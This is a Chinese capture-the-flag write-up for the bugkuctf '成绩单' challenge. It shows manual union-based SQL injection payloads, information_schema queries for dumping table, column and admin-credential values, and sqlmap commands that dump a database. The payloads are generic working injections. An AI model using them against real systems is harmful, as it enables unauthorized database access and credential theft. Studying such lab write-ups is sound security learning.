bugkuctf 成绩单

bugkuctf成绩单

bugkuctf 成绩单_第1张图片

用hackbar插件的post对它进行测试,之前测试了出现人的成绩单,所以测试4,或者更高.

id=1' order by 5#

bugkuctf 成绩单_第2张图片

没有回显,所以试试4

id=1' order by 4#

bugkuctf 成绩单_第3张图片
bugkuctf 成绩单_第4张图片

所以可以知道有四列
尝试联合查询
记得把前面的查询数据置空,写成id=0即可,显示正常,说明确确实实存在这四列数据

id=0' union select 1,2,3,4 #

bugkuctf 成绩单_第5张图片
bugkuctf 成绩单_第6张图片

下面我们开始猜解数据库名, 数据库的用户,数据库的版本(没有顺序,把1留出来只是因为表单看起来顺眼而已....)
id=0' union select 1,database(),user(),version() #


看到这里有库名,后面是user,和版本信息,所以我们要从库中找到我们想要的信息

id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version() #

注意,这里穿插一个知识点!!!!!!
union select 手工注入
mysql中的information_schema 结构用来存储数据库系统信息
information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表。
 
SCHEMATA 存储数据库名的,
关键字段:SCHEMA_NAME,表示数据库名称
TABLES 存储表名的
关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示表的名称
COLUMNS 存储字段名的
关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示所属的表的名称
COLUMN_NAME表示字段名
爆所有数据名
select group_concat(SCHEMA_NAME) from information_schema.schemata
得到当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()
得到表中的字段名 将敏感的表进行16进制编码adminuser=0x61646D696E75736572
select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572
得到字段具体的值 select group_concat(username,0x3a,password) from adminuser
补充结束
根据表,得到字段名
id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'),user(),version()#

bugkuctf 成绩单_第7张图片

根据字段,得到字段的内容
id=0' union select 1,(select skctf_flag from fl4g) ,user(),version()#


得到flag
转自大佬的博客

方法二

sqlmap进行扫描
首先用bu’rpsuit进行抓包,得到的内容进行扫描:
输入查询1
bugkuctf 成绩单_第8张图片

bugkuctf 成绩单_第9张图片

然后打开sqlmap开始爆库:sqlmap.py -r “C:\333.txt” -p id –current-db
-r –> 加载一个文件
-p –>指定参数
–current-db –>获取当前数据库名称(current前有两个-)
python sqlmap.py -r "D:\注入\4.txt" -p id --dbs

bugkuctf 成绩单_第10张图片
可以看到,爆出两个库,下面进行爆表

python sqlmap.py -r "D:\注入\4.txt" -p id -D skctf_flag --tables

-D –>指定数据库名称
–tables –>列出数据库中的表(tables前有两个-)

可以看到当前数据库中有两个表,很明显,flag应该在fl4g表中,下面就是该爆出表中的字段了
python sqlmap.py -r "D:\注入\4.txt" -p id -D skctf_flag -T fl4g --columns

-T –>指定表名称
–columns –>列出表中的字段

bugkuctf 成绩单_第11张图片

知道字段名称后,想办法获取字段内容

python sqlmap.py -r "D:\注入\4.txt" -p id -D skctf_flag -T fl4g -C skctf_flag --dump

–dump –>列出字段数据(dump前有两个-)
-C 为指定列名称
bugkuctf 成绩单_第12张图片
得到flag

转自博客

你可能感兴趣的:(网络安全web)